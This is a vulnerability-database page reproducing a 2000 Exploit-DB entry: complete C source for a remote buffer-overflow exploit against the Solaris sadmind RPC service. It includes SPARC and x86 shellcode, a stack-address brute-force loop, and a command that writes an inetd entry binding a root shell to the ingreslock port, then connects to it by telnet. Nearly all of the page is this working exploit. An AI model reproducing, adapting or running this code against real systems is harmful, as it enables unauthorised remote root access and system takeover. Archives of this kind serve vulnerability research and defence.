Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

Solaris sadmind - Remote Buffer Overflow

🗓️ 01 Dec 2000 00:00:00Reported by OptyxType 
exploitdb
 exploitdb🔗 www.exploit-db.com👁 42 Views

Exploit for Solaris sadmind remote buffer overflow using specific shellcodes and parameters.

Code
/*************************************************************************\
**                                                                       **
**    Super Solaris sadmin Exploit by optyx <[email protected]>        **
**    based on sadminsparc. and sadminx86.c by Cheez Whiz                **
**                                                                       **
\*************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <rpc/rpc.h>

char shellsparc[] =
  "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff"
  "\x90\x03\xe0\x5c\x92\x22\x20\x10\x94\x1b\xc0\x0f"
  "\xec\x02\x3f\xf0\xac\x22\x80\x16\xae\x02\x60\x10"
  "\xee\x22\x3f\xf0\xae\x05\xe0\x08\xc0\x2d\xff\xff"
  "\xee\x22\x3f\xf4\xae\x05\xe0\x03\xc0\x2d\xff\xff"
  "\xee\x22\x3f\xf8\xae\x05\xc0\x16\xc0\x2d\xff\xff"
  "\xc0\x22\x3f\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  "\xff\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff"
  "\x2d\x63\xff";

char shellx86[] =
  "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31"
  "\xc0\x89\x46\xb7\x88\x46\xbc\x31\xc0\x50\x56\x8b"
  "\x1e\xf7\xdb\x89\xf7\x83\xc7\x10\x57\x89\x3e\x83"
  "\xc7\x08\x88\x47\xff\x89\x7e\x04\x83\xc7\x03\x88"
  "\x47\xff\x89\x7e\x08\x01\xdf\x88\x47\xff\x89\x46"
  "\x0c\xb0\x3b\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
  "\xbe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  "\xff\xff\xff\xff\xff\xff\xff\xff\x2f\x62\x69\x6e"
  "\x2f\x73\x68\xff\x2d\x63\xff";
           

int buflen[]      = { 1076, 1056 };
int addrlen[]     = { 560, 8 };
int lens[]        = { 84, 76 };
int offset[]      = { 688, 572 };
int alignment[]   = { 4, 0 };
long int nops[]   = { 0x801bc00f, 0x90 };
int junks[]       = { 512, 536 };
char command[]    = "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' "
             	  "> /tmp/.x; /usr/sbin/inetd -s /tmp/.x; rm -f /tmp/.x;";

unsigned long int sp[]  = { 0xefff9580, 0xefff9418, 0x080418ec, 0x08041798 };
 
#define FRAMELEN1 608
#define FRAMELEN2 4200

#define NETMGT_PROG 100232
#define NETMGT_VERS 10
#define NETMGT_PROC_PING 0
#define NETMGT_PROC_SERVICE 1

#define NETMGT_UDP_PING_TIMEOUT 30
#define NETMGT_UDP_PING_RETRY_TIMEOUT 5
#define NETMGT_UDP_SERVICE_TIMEOUT 1
#define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2

#define NETMGT_HEADER_TYPE 6
#define NETMGT_ARG_INT 3
#define NETMGT_ARG_STRING 9
#define NETMGT_ENDOFARGS "netmgt_endofargs"

#define FW_VERSION "VERSION"
#define CLIENT_DOMAIN "CLIENT_DOMAIN"
#define FENCE "FENCE"

struct nm_send_header {
  struct timeval timeval1;
  struct timeval timeval2;
  struct timeval timeval3;
  unsigned int uint1;
  unsigned int uint2;
  unsigned int uint3;
  unsigned int uint4;
  unsigned int uint5;
  struct in_addr inaddr1;
  struct in_addr inaddr2;
  unsigned long ulong1;
  unsigned long ulong2;
  struct in_addr inaddr3;
  unsigned long ulong3;
  unsigned long ulong4;
  unsigned long ulong5;
  struct timeval timeval4;
  unsigned int uint6;
  struct timeval timeval5;
  char *string1;
  char *string2;
  char *string3;
  unsigned int uint7;
};

struct nm_send_arg_int {
  char *string1;
  unsigned int uint1;
  unsigned int uint2;
  int int1;
  unsigned int uint3;
  unsigned int uint4;
};

struct nm_send_arg_string {
  char *string1;
  unsigned int uint1;
  unsigned int uint2;
  char *string2;
  unsigned int uint3;
  unsigned int uint4;
};

struct nm_send_footer {
  char *string1;
};

struct nm_send {
  struct nm_send_header header;
  struct nm_send_arg_int version;
  struct nm_send_arg_string string;
  struct nm_send_arg_int fence;
  struct nm_send_footer footer;
};

struct nm_reply {
  unsigned int uint1;
  unsigned int uint2;
  char *string1;
};

bool_t xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
{
  char *addr;
  size_t size = sizeof(struct in_addr);

  if(!xdr_long(xdrs, &objp->timeval1.tv_sec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval1.tv_usec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval2.tv_sec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval2.tv_usec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval3.tv_sec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval3.tv_usec))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint2))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint3))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint4))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint5))
    return (FALSE);
  addr = (char *) &objp->inaddr1.s_addr;
  if(!xdr_bytes(xdrs, &addr, &size, size))
    return (FALSE);
  if(!xdr_u_long(xdrs, &objp->ulong1))
    return (FALSE);
  if(!xdr_u_long(xdrs, &objp->ulong2))
    return (FALSE);
  if(!xdr_u_long(xdrs, &objp->ulong3))
    return (FALSE);
  if(!xdr_u_long(xdrs, &objp->ulong4))
    return (FALSE);
  if(!xdr_u_long(xdrs, &objp->ulong5))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval4.tv_sec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval4.tv_usec))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint6))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval5.tv_sec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval5.tv_usec))
    return (FALSE);
  if(!xdr_wrapstring(xdrs, &objp->string1))
    return (FALSE);
  if(!xdr_wrapstring(xdrs, &objp->string2))
    return (FALSE);
  if(!xdr_wrapstring(xdrs, &objp->string3))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint7))
    return (FALSE);
  return (TRUE);
}

bool_t xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
{
  if(!xdr_wrapstring(xdrs, &objp->string1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint2))
    return (FALSE);
  if(!xdr_int(xdrs, &objp->int1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint3))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint4))
    return (FALSE);
  return (TRUE);
}

bool_t xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
{
  if(!xdr_wrapstring(xdrs, &objp->string1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint2))
    return (FALSE);
  if(!xdr_wrapstring(xdrs, &objp->string2))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint3))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint4))
    return (FALSE);
  return (TRUE);
}

bool_t xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
{
  if(!xdr_wrapstring(xdrs, &objp->string1))
    return (FALSE);
  return (TRUE);
}

bool_t xdr_nm_send(XDR *xdrs, struct nm_send *objp)
{
  if(!xdr_nm_send_header(xdrs, &objp->header))
    return (FALSE);
  if(!xdr_nm_send_arg_int(xdrs, &objp->version))
    return (FALSE);
  if(!xdr_nm_send_arg_string(xdrs, &objp->string))
    return (FALSE);
  if(!xdr_nm_send_arg_int(xdrs, &objp->fence))
    return (FALSE);
  if(!xdr_nm_send_footer(xdrs, &objp->footer))
    return (FALSE);
  return (TRUE);
}

bool_t xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
{
  if(!xdr_u_int(xdrs, &objp->uint1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint2))
    return (FALSE);
  if(!xdr_wrapstring(xdrs, &objp->string1))
    return (FALSE);
  return (TRUE);
}

void usage(char *prog)
{
  fprintf(stderr, "usage: %s -t target -a arch [-s size]", prog);
  fprintf(stderr, " [-i increment] [-p]\n");
  fprintf(stderr, "\tarchitectures:\n");
  fprintf(stderr, "\t0 - Solaris SPARC 2.6\n");
  fprintf(stderr, "\t1 - Solaris SPARC 2.7 (7.0)\n");
  fprintf(stderr, "\t2 - Solaris x86   2.6\n");
  fprintf(stderr, "\t3 - Solaris x86   2.7 (7.0)\n\n");

  exit(-1);  
}

int exp(char *host, int arch, unsigned long int sp, int pinging)
{
  CLIENT *cl;
  struct nm_send send;
  struct nm_reply reply;
  struct timeval tm;
  enum clnt_stat stat;
  int c, i, len, slen, clen, junk, a;
  char *cp, *buf;
  unsigned long int addr, fp;
  
  a = (int) arch / 2;  
  buf = (char *) malloc(buflen[a] + 1);

  if(a)
  {
    /* Solaris x86 */
    memset(buf, nops[a], buflen[a]);
    junk = junks[arch - 2];
    junk &= 0xfffffffc;

    for (i = 0, cp = buf + alignment[a]; i < junk / 4; i++) 
    {
      *cp++ = (sp >>  0) & 0xff;
      *cp++ = (sp >>  8) & 0xff;
      *cp++ = (sp >> 16) & 0xff;
      *cp++ = (sp >> 24) & 0xff;
    }

    addr = sp + offset[a];

    for (i = 0; i < addrlen[a] / 4; i++) 
    {
      *cp++ = (addr >>  0) & 0xff;
      *cp++ = (addr >>  8) & 0xff;
      *cp++ = (addr >> 16) & 0xff;
      *cp++ = (addr >> 24) & 0xff;
    }

    slen = strlen(shellx86); 
    clen = strlen(command);
    len = clen; 
    len++; 
    len = -len;
    shellx86[lens[a]+0] = (len >>  0) & 0xff;
    shellx86[lens[a]+1] = (len >>  8) & 0xff;
    shellx86[lens[a]+2] = (len >> 16) & 0xff;
    shellx86[lens[a]+3] = (len >> 24) & 0xff;
    cp = buf + buflen[a] - 1 - clen - slen;
    memcpy(cp, shellx86, slen); 
    cp += slen;
    memcpy(cp, command, clen); 
    cp += clen;
    *cp = '\xff';
  }
  else
  {
    /* Solaris SPARC */
    memset(buf, '\xff', buflen[a]);
    fp = sp + FRAMELEN1 + FRAMELEN2;
    fp &= 0xfffffff8;
    addr = sp + offset[a];
    addr &= 0xfffffffc;

    for(i = 0, cp = buf + alignment[a]; i < addrlen[a] / 8; i++)
    {
      *cp++ = (fp >> 24) & 0xff;
      *cp++ = (fp >> 16) & 0xff;
      *cp++ = (fp >>  8) & 0xff;
      *cp++ = (fp >>  0) & 0xff;
      *cp++ = (addr >> 24) & 0xff;
      *cp++ = (addr >> 16) & 0xff;
      *cp++ = (addr >>  8) & 0xff;
      *cp++ = (addr >>  0) & 0xff;
    }
    
    slen = strlen(shellsparc);
    clen = strlen(command);
    len = buflen[a] - 1 - clen - slen - addrlen[a] - alignment[a];
    len &= 0xfffffffc;
    for(i = 0; i < lens[a] / 4; i++)
    {
      *cp++ = (nops[a] >> 24) & 0xff;
      *cp++ = (nops[a] >> 16) & 0xff;
      *cp++ = (nops[a] >>  8) & 0xff;
      *cp++ = (nops[a] >>  0) & 0xff;
    }
    len = clen;
    len++;
    len = -len;
    shellsparc[lens[a]+0] = (len >> 24) & 0xff;
    shellsparc[lens[a]+1] = (len >> 16) & 0xff;
    shellsparc[lens[a]+2] = (len >>  8) & 0xff;
    shellsparc[lens[a]+3] = (len >>  0) & 0xff;
    memcpy(cp, shellsparc, slen);
    cp += slen;
    memcpy(cp, command, clen);
  }

  buf[buflen[a]] = '\0';
  memset(&send, 0, sizeof(struct nm_send));
  send.header.uint2 = NETMGT_HEADER_TYPE;
  send.header.string1 = "";
  send.header.string2 = "";
  send.header.string3 = "";
  send.header.uint7 =
    strlen(FW_VERSION) + 1 +
    (4 * sizeof(unsigned int)) + sizeof(int) +
    strlen(CLIENT_DOMAIN) + 1 +
    (4 * sizeof(unsigned int)) + strlen(buf) + 1 +
    strlen(FENCE) + 1 +
    (4 * sizeof(unsigned int)) + sizeof(int) +
    strlen(NETMGT_ENDOFARGS) + 1;
  send.version.string1 = FW_VERSION;
  send.version.uint1 = NETMGT_ARG_INT;
  send.version.uint2 = sizeof(int);
  send.version.int1 = 1;
  send.string.string1 = CLIENT_DOMAIN;
  send.string.uint1 = NETMGT_ARG_STRING;
  send.string.uint2 = strlen(buf);
  send.string.string2 = buf;
  send.fence.string1 = FENCE;
  send.fence.uint1 = NETMGT_ARG_INT;
  send.fence.uint2 = sizeof(int);
  send.fence.int1 = 666;
  send.footer.string1 = NETMGT_ENDOFARGS;
  cl = clnt_create(host, NETMGT_PROG, NETMGT_VERS, "udp");

  if (cl == NULL) 
  {
    clnt_pcreateerror("clnt_create");
    return 0;
  }

  cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);

  if (!pinging) 
  {
    tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT; 
    tm.tv_usec = 0;

    if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) 
    {
      fprintf(stderr, "unable to set timeout\n");
      exit(1);
    }

    tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT; 
    tm.tv_usec = 0;

    if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) 
    {
      fprintf(stderr, "unable to set timeout\n");
      exit(1);
    }

    stat = clnt_call(cl, NETMGT_PROC_SERVICE,
      xdr_nm_send, (caddr_t) &send,
      xdr_nm_reply, (caddr_t) &reply, tm);

    if (stat != RPC_SUCCESS) 
    {
      clnt_perror(cl, "clnt_call");
      fprintf(stdout, "now check if exploit worked;\n");
      return 0;
    }

    fprintf(stderr, "exploit failed; "
      "RPC succeeded and returned { %u, %u, \"%s\" }\n",
      reply.uint1, reply.uint2, reply.string1);
    clnt_destroy(cl);
    exit(1);
  } 
  else 
  {

    tm.tv_sec = NETMGT_UDP_PING_TIMEOUT; 
    tm.tv_usec = 0;

    if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) 
    {
      fprintf(stderr, "unable to set timeout\n");
      exit(1);
    }

    tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT; 
    tm.tv_usec = 0;

    if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) 
    {
      fprintf(stderr, "unable to set timeout\n");
      exit(1);
    }

    stat = clnt_call(cl, NETMGT_PROC_PING,
      xdr_void, NULL,
      xdr_void, NULL, tm);

    if (stat != RPC_SUCCESS) 
    {
      clnt_perror(cl, "clnt_call");
      exit(1);
    }

    clnt_destroy(cl);
    return 0;
  }
}

int main(int argc, char *argv[])
{
  int i, arch;
  char *host = "";
  int pinging = 0, inc = 4, size = 2048;
  unsigned long int addr;

  for(i=0;i<argc;i++)
  {
    if(!strcmp(argv[i], "-t"))
      host = argv[i+1];  
    if(!strcmp(argv[i], "-a"))
      arch = atoi(argv[i+1]);
    if(!strcmp(argv[i], "-i"))
      inc = atoi(argv[i+1]);
    if(!strcmp(argv[i], "-s"))
      size = atoi(argv[i+1]);  
    if(!strcmp(argv[i], "-p"))
      pinging = 1;
  }

  if(arch > 3 || arch < 0)
    usage(argv[0]);
  if(size < 0)
    usage(argv[0]);
  if(inc < 0)
    usage(argv[0]);

  for(i = 0; i < size; i+=inc)
  {
    addr = sp[arch] + i;
    exp(host, arch, addr, pinging); 
    addr = sp[arch] - i;
    exp(host, arch, addr, pinging);
  }

  execl("telnet", host, "ingreslock");
  return 0;
}


// milw0rm.com [2000-12-01]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
01 Dec 2000 00:00Current
7.4High risk
Vulners AI Score7.4
solaris sadmind exploitremote buffer overflowshellcodeparameterscommand execution.
42